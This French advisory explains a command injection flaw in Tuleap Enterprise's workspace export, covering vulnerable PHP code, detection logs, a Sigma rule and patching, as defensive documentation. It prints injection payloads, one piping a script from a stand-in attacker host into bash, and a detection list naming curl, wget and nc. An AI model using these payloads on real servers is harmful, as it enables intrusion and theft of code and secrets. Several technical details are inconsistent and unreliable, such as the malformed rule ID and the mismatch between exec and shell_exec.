Aller au contenu

CVE-2026-84285 : injection de commandes système dans le module d'export d'espaces de travail de tuleap enterprise

HERMES

SCORE DE MENACE HERMES & COMPROMISSION DE CHAÎNE DE DÉVELOPPEMENT

Cible : Tuleap Enterprise Edition — Module d'export d'espaces de travail & exécuteur shell
Confiance : 95%
89 / 100
ÉLEVÉ

Mesure la pertinence opérationnelle réelle, la militarisation de l'exploit et la posture de menace active.

Décomposition des dimensions
Exploitabilité 18 / 20
Activité de menace 17 / 20
Militarisation 18 / 20
Exposition 18 / 20
Prévalence 17 / 20
Impact 19 / 20
Maturité de l'exploit 18 / 20
Potentiel d'attaque en chaîne 19 / 20
⚖️ Divergence & Justification opérationnelle

Le standard CVSS v3.1 attribue à la CVE-2026-84285 le score de 8.8 Élevé compte tenu de la nécessité d'une authentification préalable (PR:L). Le Hermes Threat Score fixe ce risque à 89 (ÉLEVÉ). Tuleap Enterprise constitue la plateforme d'ingénierie logicielle (ALM) et de DevSecOps de référence pour des organisations hautement régulées des secteurs de l'aérospatiale, de la défense et du secteur public en Europe. Obtenir une exécution système arbitraire sur le serveur central Tuleap permet aux cyberattaquants d'accéder aux dépôts Git/SVN privés, aux identifiants de bases de données, aux jetons de déploiement CI/CD et aux secrets de signature de versions logicielles.

HASS

SÉVÉRITÉ AGENTIQUE HASS & ALTÉRATION DES AUTOMATISMES CI/CD

Cible : Exécuteurs d'intégration continue, agents d'IA d'assistance au code & webhooks Git
Confiance : 93%
84 / 100
ÉLEVÉ

Mesure le risque systémique spécifique découlant de l'autonomie, de l'autorité des outils et de l'exécution en cascade.

Décomposition des dimensions
Autonomie décisionnelle 15 / 20
Accès aux outils & APIs 17 / 20
Privilege 14 / 15
Persistence 13 / 15
External Impact 13 / 15
Propagation 12 / 15
⚖️ Divergence & Justification opérationnelle

Les chaînes de développement modernes intègrent massivement des agents d'IA autonomes pour la revue de code, la qualification des anomalies et la génération automatique de correctifs via les APIs REST de Tuleap. Une exécution de commandes arbitraires sur l'hôte Tuleap altère l'intégrité de ces intégrations agentiques : un attaquant peut empoisonner le code source analysé par l'IA, dérober les jetons accordés aux agents d'ingénierie et modifier les scripts de compilation pour introduire des portes dérobées furtives dans les conteneurs de production.

🕸️ Graphe de connaissances connecté & Provenance

CVE-2026-84285: Tuleap Enterprise ALM Workspace Export OS Command InjectionVULNÉRABILITÉ

Nœuds connectés : 2
Relations sortantes actives
→ affectsCOMPOSANTTuleap Enterprise ALM
98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

🔍 Pourquoi cette relation ? (Preuves & Provenance)

“Confirmed security vulnerability in Tuleap Enterprise ALM documented in Hermes dossier.”

Preuves vérifiées associées :
→ usesTECHNIQUE D'ATTAQUET1059: Command and Scripting Interpreter
90% VERY_HIGH

Adversaries abuse command and script interpreters (Bash, Python, PowerShell) to execute arbitrary commands.

🔍 Pourquoi cette relation ? (Preuves & Provenance)

“Attack execution telemetry aligns with MITRE ATT&CK technique T1059.”

Preuves vérifiées associées :

Le module d’exportation d’espace de travail permet aux chefs de projet et aux développeurs de regrouper les historiques d’incidents, les documents de conception et les pièces jointes dans une archive compressée téléchargeable.

┌───────────────────────────┐ 1. Requête d'export avec métacaractères injectés ┌─────────────────────────────┐
│ Utilisateur authentifié │ ──────────────────────────────────────────────────────────> │ Frontal web Tuleap (Nginx) │
│ (Membre de projet) │ POST /project/export.php?format=tar;$(id>/tmp/pwn) └──────────────┬──────────────┘
└───────────────────────────┘ │
2. Transmission à PHP-FPM ▼
┌─────────────────────────────┐
│ Processus PHP-FPM │
│ (compte : codendiadm) │
└──────────────┬──────────────┘
│
3. Concaténation de paramètres▼
┌─────────────────────────────┐
│ ArtifactExportCommand.php │
│ [X] Absence escapeshellarg()│
└──────────────┬──────────────┘
│
4. Invocation shell_exec() ▼
┌─────────────────────────────┐
│ Exécution par /bin/sh │
│ Commande injectée lancée │
└──────────────┬──────────────┘
│
5. Prise de contrôle du serveur▼
┌─────────────────────────────┐
│ Vol des dépôts Git, secrets │
│ et accès base de données │
└─────────────────────────────┘
CritèreCaractéristique techniqueImpact opérationnel
Classe de vulnérabilitéInjection de commande OS (CWE-78)Exécution arbitraire de commandes sur le serveur
Niveau d’authentificationAuthentifié (PR:L)Tout compte valide rattaché à un projet
Vecteur d’accèsRéseau (AV:N)Interface web HTTPS ou requêtes d’API REST
Contexte d’exécutioncodendiadm (utilisateur applicatif)Accès complet aux répertoires Git et fichiers de configuration
Impact chaîne d’approvisionnementAccès au code source et secretsPossibilité d’altérer les binaires logiciels compilés

L’anomalie se situe dans les fonctions d’assemblage d’archives qui sollicitent les utilitaires système de compression (tar, gzip, zip) via des appels de commandes shell sans assainissement préalable des paramètres.

Dans les versions 17.3 à 17.5 de Tuleap Enterprise, les commandes étaient générées par interpolation directe de chaînes :

// Schéma de commande vulnérable dans Tuleap Enterprise <= 17.5
class ProjectWorkspaceExporter {
public function generateArchive(string $projectShortName, string $exportFormat, string $userOptions): void {
$outputDirectory = "/var/tmp/tuleap_exports/" . $projectShortName;
// ANOMALIE : $exportFormat et $userOptions sont concaténés sans filtrage
// et sans être encapsulés dans escapeshellarg() ou escapeshellcmd() !
$command = "tar -czf " . $outputDirectory . "/workspace." . $exportFormat . " " . $userOptions . " " . $outputDirectory . "/data/";
// Exécution directe via l'interpréteur de commande du système
$output = [];
$returnVar = 0;
exec($command, $output, $returnVar);
if ($returnVar !== 0) {
throw new ExportException("Échec de génération de l'archive : " . implode("\n", $output));
}
}
}
  1. Formulation de la requête piégée : l’attaquant déclenche l’action d’exportation en fournissant dans le champ de format d’archive une séquence de commandes additionnelles :
    tar; curl -s http://attaquant.corp/rev.sh | bash; #
  2. Construction de la ligne de commande : le serveur incorpore l’entrée textuelle brute :
    Fenêtre de terminal
    tar -czf /var/tmp/tuleap_exports/alpha/workspace.tar; curl -s http://attaquant.corp/rev.sh | bash; # /var/tmp/tuleap_exports/alpha/data/
  3. Exécution des commandes : la fonction exec() invoque /bin/sh -c, exécutant l’utilitaire tar puis exécutant sans interruption la commande arbitraire avec les droits de codendiadm.

3. Déroulement de l’attaque & analyse forensique

Section intitulée « 3. Déroulement de l’attaque & analyse forensique »

Les analystes DFIR en charge d’auditer l’infrastructure logicielle doivent corréler les journaux d’accès web Nginx, les journaux PHP-FPM et les traces de création de processus système.

  • Journaux d’accès Nginx (/var/log/nginx/access.log) : rechercher les requêtes HTTP POST orientées vers les scripts d’exportation contenant des métacaractères shell :
    192.168.10.45 - - [22/Sep/2026:04:12:30 +0000] "POST /plugins/tracker/?tracker=42&func=export HTTP/1.1" 200 4821 "https://tuleap.internal/" "Mozilla/5.0" "format=tar%3Bcurl%20http%3A%2F%2F10.0.0.99%2Fbeacon%3B%23"
  • Filiation de processus anormale (auditd / EDR) : détecter l’apparition de sous-processus interactifs issus de php-fpm :
    node=tuleap-app01 type=EXECVE msg=audit(1726992750.412:8124):
    argc=3 a0="sh" a1="-c" a2="tar -czf ...; curl -s http://attaquant.corp/rev.sh | bash; #"
    ouid=501 ppid=1420 pid=28901 comm="sh" exe="/usr/bin/bash"
  • Fichiers temporaires suspects : vérifier la présence de scripts ou de clés temporaires déposés sous /var/tmp/ ou /tmp/.

proc_creation_php_fpm_tuleap_cmd_injection.yaml
title: Exécution suspecte de sous-processus par PHP-FPM sur serveur Tuleap
id: 5e3d21c9-7a4b-4f1e-9284-cve20268428501
status: experimental
description: Détecte les processus PHP-FPM ou l'utilisateur applicatif codendiadm générant des shells interactifs ou des commandes réseau, signe d'exploitation de la CVE-2026-84285.
references:
- https://www.3ds.com/vulnerability/advisories
- https://nvd.nist.gov/vuln/detail/CVE-2026-84285
author: Hermes Codex Intelligence
date: 2026-09-22
logsource:
category: process_creation
product: linux
detection:
selection_parent:
ParentImage|endswith:
- '/php-fpm'
- '/php-fpm8.2'
- '/php-fpm8.3'
ParentUser: 'codendiadm'
selection_shell:
Image|endswith:
- '/bin/sh'
- '/bin/bash'
- '/usr/bin/curl'
- '/usr/bin/wget'
- '/usr/bin/nc'
- '/usr/bin/python3'
selection_cmdline:
CommandLine|contains:
- 'tar'
- 'zip'
- 'workspace'
condition: selection_parent and selection_shell and selection_cmdline
level: high
tags:
- attack.execution
- attack.t1059.004
- cve.2026-84285

Les équipes d’exploitation doivent appliquer la mise à jour officielle :

  1. Mettre à niveau le paquet vers Tuleap Enterprise Edition 17.6 ou version ultérieure :
    Fenêtre de terminal
    dnf update tuleap-enterprise
    systemctl restart php-fpm tuleap
  2. La version corrigée remplace l’invocation shell par des tableaux d’arguments sécurisés via proc_open() et impose une validation stricte sur les extensions d’archives autorisées.
  • Restriction des fonctions PHP (disable_functions) : restreindre l’exécution de fonctions dangereuses non indispensables au sein de /etc/php.d/local.ini :
    disable_functions = system,shell_exec,passthru,popen
  • Cloisonnement du service Systemd : activer le confinement pour php-fpm.service en paramétrant ProtectHome=true, PrivateTmp=true, et en verrouillant les droits en lecture sur /etc/tuleap/conf/.
  • Renouvellement préventif des secrets : renouveler les mots de passe de base de données présents dans /etc/tuleap/conf/database.inc en cas de suspicion d’intrusion.